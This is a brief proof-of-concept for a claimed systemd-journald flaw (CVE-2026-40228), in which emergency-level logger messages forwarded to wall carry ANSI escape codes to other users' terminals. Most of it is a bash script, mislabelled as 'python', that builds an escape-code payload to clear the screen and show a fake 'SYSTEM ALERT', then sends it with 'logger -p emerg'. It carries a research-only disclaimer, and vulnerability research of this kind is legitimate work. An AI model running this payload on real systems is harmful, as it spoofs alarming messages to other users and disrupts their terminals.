In systemd 259, systemd-journald can send ANSI escape sequences to the terminals of arbitrary users when a "logger -p emerg" command is executed, if ForwardToWall=yes is set.
The following code is for security research and authorized testing only.
python
#!/bin/bash
# PoC for CVE-2026-40228: ANSI Escape Sequence Injection via systemd-journald
# This script sends a 'emergency' level log containing ANSI codes to clear the screen
# and display a fake message, assuming ForwardToWall is enabled.
# Construct the payload: Clear screen + Red Text
PAYLOAD="\033[2J\033[1;31mSYSTEM ALERT: Unauthorized access detected!\033[0m"
# Send the payload using logger
logger -p emerg "$PAYLOAD"